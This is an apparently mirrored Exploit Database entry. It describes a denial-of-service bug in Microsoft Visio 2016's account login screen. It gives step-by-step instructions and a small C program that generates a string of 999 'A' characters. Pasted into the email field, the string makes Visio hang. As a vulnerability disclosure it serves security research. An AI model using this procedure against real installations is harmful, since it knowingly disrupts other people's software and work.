Microsoft Visio 2016 16.0.4738.1000 – ‘Log in accounts’ Denial of Service

• Exploit Database
• 102 阅读

• 作者： César Adrián Coronado Llanos
  日期： 2019-03-28
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46621/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

  # -⋆- coding: utf-8 -⋆- Created on Thu Feb 21 01:32:50 2019   @author: César """   #Exploit Title: Microsoft Visio 2016 (16.0.4738.1000) "Log in accounts" allows go on whit email formed by one thousand A in every of its parts AAA---A@AAA--A.AAA---A #Descovered by: César Adrián Coronado Llanos #Descovered Date; Sun Feb 17 20:34:23 2019 #Vendor Homepage: https://www.microsoft.com #Tested Version: 16.0.4738.1000 x64 #Tested on OS: Microsoft Windows 10 Home Single Language x64 #Versión 10.0.10240 compilación 10240   #Steps to produce the crash #1.- Run c code: generator.c #2.- Open the file created "letters.txt" and copy the text content to clipboard #3.- Open Visio 2016 #4.- Click in change account or Login #5.- In the Login paste the clipboard, typewrite @ paste again the clipboard, typewrite . and paste for last time the clipboard, clik in next #6.- Click in professional account #7.- Visio 2016 don&apos;t respond, however it stays in a white window and don&apos;t send us any message   Note: For do this you need internet conection.   #include<stdio.h> int main(){ int i; FILE *letters; if((letters = fopen("letters.txt","w+")) != NULL){ for(i=0;i<999;i++){ fprintf(letters,"A"); } } fclose(letters); printf("\tThe file was created successfully!!\n"); }   Note: This code was compiled in dev C++